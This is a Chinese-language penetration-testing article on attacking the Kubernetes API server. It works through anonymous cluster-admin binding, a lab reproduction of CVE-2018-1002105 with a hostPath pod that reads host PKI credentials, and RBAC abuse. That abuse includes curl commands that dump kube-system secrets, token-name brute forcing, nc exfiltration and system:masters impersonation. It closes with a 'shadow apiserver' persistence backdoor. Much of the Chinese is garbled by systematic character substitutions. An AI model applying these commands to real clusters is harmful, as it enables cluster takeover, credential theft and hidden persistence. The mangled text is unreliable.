文章首发于前线 Zone 社区:https://zone.huoxian.cn/d/126…
apiserver 简介
API Server 作为 K8s 集群的治理入口,在集群中被用于提供 API 来管制集群外部。默认状况下应用 8080(insecure-port,非平安端口)和 6443(secure-port,平安端口)端口,其中 8080 端口无需认证,6443 端口须要认证且有 TLS 爱护。
apiserver 工作原理图:
而 apiserver 在浸透测试过程中受到以下危险:
- apiserver 的
Insecure-port
端口对外裸露 - apiserver 未受权配置谬误 (
匿名拜访 + 绑定高权限角色
) - 历史 apiserver 提权破绽(例如
CVE-2018-1002105
) - 配置不当的 RBAC 受到的提权危险
- apiserver 权限维持
- …
1.apiserver 的 Insecure-port
端口对外裸露
API Server 作为 K8s 集群的治理入口,在集群中被用于提供 API 来管制集群外部。默认状况下应用 8080(insecure-port,非平安端口)和 6443(secure-port,平安端口)端口,其中 8080 端口无需认证,6443 端口须要认证且有 TLS 爱护。
如果其在生产环境中 Insecure-port 被裸露进去,便利用此端口进行对集群的攻打。
然而这种状况很少了,条件必须是低版本(1.20 版本后该选项已有效化)加配置中 (/etc/kubernets/manifests/kube-apiserver.yaml
) 写了 insecure-port 选项, 默认不开启:
2.apiserver 未受权配置谬误 ( 匿名拜访 + 绑定高权限角色
)
Api server 的 6443(secure-port,平安端口)认证是须要凭据的。
如果配置谬误,将 system:anonymous 用户绑定到了 cluster-admin 用户组,那么匿名用户能够摆布集群。
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
这种配置下能够拿到所有 token 后与 api server 交互,摆布集群:
3. 历史 apiserver 提权破绽(例如CVE-2018-1002105
)
CVE-2018-1002105 是一个 K8s 提权破绽,Kubernetes 用户能够在已建设的 API Server 连贯上,买通了 client 到 kubelet 的通道,实现晋升 k8s 普通用户到 k8s api server 的权限。
破绽影响版本:
- Kubernetes v1.0.x-1.9.x
- Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
- Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
- Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
破绽利用条件:
这边普通用户至多须要具备一个 pod 的 exec/attach/portforward 等权限。
环境:
结构一个命名空间 test,和一个 test 命名空间的 pod,原有权限是对 test 命名空间下的 pod 的 exec 权限,破绽利用后将权限晋升为了 API Server 权限,这里用 metarget 靶场起一个环境:
创立 namespace:
apiVersion: v1
kind: Namespace
metadata:
name: test
创立 role:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: test
namespace: test
rules:
- apiGroups:
- ""
resources:
- pods
verbs:
- get
- list
- delete
- watch
- apiGroups:
- ""
resources:
- pods/exec
verbs:
- create
- get
创立 role_binding.yml:
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test
namespace: test
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test
创立 pod:
apiVersion: v1
kind: Pod
metadata:
name: test
namespace: test
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: ["/bin/bash", "-c", "--"]
args: ["while true; do sleep 30; done;"]
serviceAccount: default
serviceAccountName: default
最初给用户配置一个动态的 token 文件来配置用户的认证:
当在命令行上指定 --token-auth-file=SOMEFILE
选项时,API server 从文件读取 bearer token。
token 文件是一个 csv 文件,每行至多蕴含三列:token、用户名、用户 uid:
token,user,uid,"group1,group2,group3"
这里应用到的配置 token:
password,test,test,test
验证:
对指定 test 空间下的 pod 执行命令是能够的:
kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname
对其余命名空间越权操作发现提醒权限有余:
kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify get pods -n kube-system
破绽复现:
exp:https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py
exp 中也是会创立一个挂载宿主机根目录的 pod,实现容器逃,而创立的根底是利用后面说的高权限 websocket 连贯,利用这个连贯向 apiserver 发送命令,窃取高凭据文件,再利用凭据文件创建 pod,挂载宿主机根目录。
挂载了当前读取宿主机节点的 /etc/kubernetes/pki 目录下的大量敏感凭据:
exp 中指定读取的证书文件:
利用:
这样就拿到了凭据,最初就是创立 pod 挂载宿主机根目录:
# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
name: attacker
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: ["/bin/bash", "-c", "--"]
args: ["while true; do sleep 30; done;"]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /
host-escape-door 目录为 pod 挂载宿主机的目录, 发现曾经能够查看 apiserver 宿主机的目录:
4. 配置不当的 RBAC 受到的提权危险
RBAC 权限滥用提权
权限滥用次要在对特定资源有特定操作的状况下,能够有特定的权限晋升。
枚举以后 RBAC 权限
在指定以后通过浸透失去用户凭据或者 sa 的凭据后,能够先枚举以后有哪些权限:
也能够应用 curl 对 apiserver 的 api 进行拜访来区别以后的权限:
枚举之后应该对以后凭据对资源的操作有个数了,上面列举在调配权限时,哪些状况下有提权晋升的可能。
create pods 权限
resources: ["*"] verbs: ["create"]
:resources
为 * 或者为 pods
的状况下,verbs 是create
,在集群中能够创立任意资源,比方像 pods,roles. 而创立 pods 的命名空间也取决你 role 中 metadata.namespace 的值:
如果有 create 权限,常见攻打手法就是创立挂载根目录的 pod,跳到 node:
list secrets 权限
resources: ["*"] verbs: ["list"]
:resources
为 * 或者为 secrets
的状况下,verbs 是list
, 在集群中能够列出其余 user 的 secrets,个别拿来寻找特权账号凭据。
具备 list 权限或者说是 list secrets 权限的 role 能够列出集群中重要的 secrets,包含治理的 keys(JWT):
利用:curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
get secret 权限
resources: ["*"] verbs: ["get"]
: resources
为 * 或者为 secrets
的状况下,verbs 是get
,get 能够在集群中取得其余 service accounts 的 secrets。
如下定义 Role 的 resources 字段为 * 或者 secrets 对象,并且 verbs 为 get,这时候有权限取得其余 secrets。
get 权限能拜访的 api:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
然而 get 和 list 不一样,get 须要晓得 secrets 的 id 能力读:
图出处:图出处,list 和 get 来窃取凭据的区别:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
这时候用读 secrets 来攻打的话常见手法是读默认的 sa 的 token, 默认有这些 sa:
对应的 token:
kubectl -n kube-system get secret -n kube-system
能够看到每个 sa 的 token 都是 sa 的name-token- 随机五个字符
,
其中随机的字符是由数字和字母组合,特定的 27 个字符:
https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#
27 的 5 次方也是 14,348,907 可能,写个 py 脚本的迭代器爆破即可:
get list watch secrets 权限
resources: ["*"] verbs: ["get","list","watch"]
:resources 字段为 * 或者 secrets 的话能够利用这三个权限,来创立一个歹意 pod 后通过挂载 secrets 以至获取他人的 secrets,而后外带:
这里应用 automountServiceAccountToken
将特权服务帐户的令牌挂载到 pod,应用令牌获取拿到所有 secrets 后用 nc 传到攻击者监听端口,以后也能够应用其余形式带外:
图出处,创立一个 ”hot pod” 来窃取凭据:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
Impersonate 权限
用户能够通过模仿标头充当另一个用户。这些让申请手动笼罩申请身份验证的用户信息。例如,管理员能够应用此性能通过长期模仿另一个用户并查看申请是否被回绝来调试受权策略。
以下 HTTP 标头可用于执行模仿申请:
Impersonate-User
:要充当的用户名。Impersonate-Group
:要充当的组名。能够屡次提供设置多个组。可选的。须要“模仿用户”。Impersonate-Extra-(extra name)
:用于将额定字段与用户关联的动静题目。可选的。须要“模仿用户”。Impersonate-Uid
:代表被模仿用户的惟一标识符。可选的。须要“模仿用户”。Kubernetes 对此字符串没有任何格局要求。
有了 Impersonate
权限攻击者能够模仿一个有特权的账户或者组:
Role:
binding:
模仿用户的操作是通过调用 K8s API 的 Header 来指定的,kubectl 能够退出 –as 参数:
kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...
申请 apiserver:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
5.apiserver 权限维持
在浸透权限维持阶段如果像惯例对机器比方容器做权限维持的话,是有弊病的,因为在 K8s 中会对 pod 进行扩容和缩容,权限维持的机器就会变得有生命周期而使已取得权限变得不稳固。所以在 K8s 中利用 apiserver 做权限维持是个不错的抉择,
shadow apiserver
shadow apiserver 就是创立一种针对 K8s 集群的荫蔽继续管制通道,在原有的 apiserver 上凋谢更大的权限并且放弃日志审计,从而达到隐蔽性和长久管制目标。
pdf:
https://published-prd.lanyone…
本来 apiserver 信息:
apiserver pod 的具体:
结构 shadow apiserver 须要在原有的根底上减少性能, 总所周知 cdk 工具能够一键部署 shadow apiserver:
pkg/exploit/k8s_shadow_apiserver.go
:
能够发现 cdk 在配置文件中增加:
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
能够看到通过参数新启动的 apiserver 容许了容器申请特权模式,裸露了 insecure-port 为 9443,监听地址绑定为 0.0.0.0,容许了匿名拜访,容许所有申请。
也能够批改 cdk 中原有配置的参数来定制你的后门 apiserver。间接批改 argInsertReg.ReplaceAllString
函数里的内容即可。
ps:
insecure-port
的参数在最新 cdk 曾经被正文了,这个参数在 K8s 1.24 会间接弃用。
所以这个时候以后能够匿名向 apiserver 拜访申请治理集群,curl/kubectl 去申请,
kubectl -s 192.168.1.22:6443 get pods,deployment -o wide
6. 最初
k8s API Server 提供了 k8s 各类资源对象(pod,RC,Service 等)的增删改查及 watch 等 HTTP Rest 接口,是整个零碎的数据总线和数据中心,充当了集群中不可或缺的一个角色,因而 apiserver 组件的平安以及基线查看工作对于集群来说尤为重要,在集群平安的角度对 apiserver 组件平安问题和危险也应该放弃继续的关注。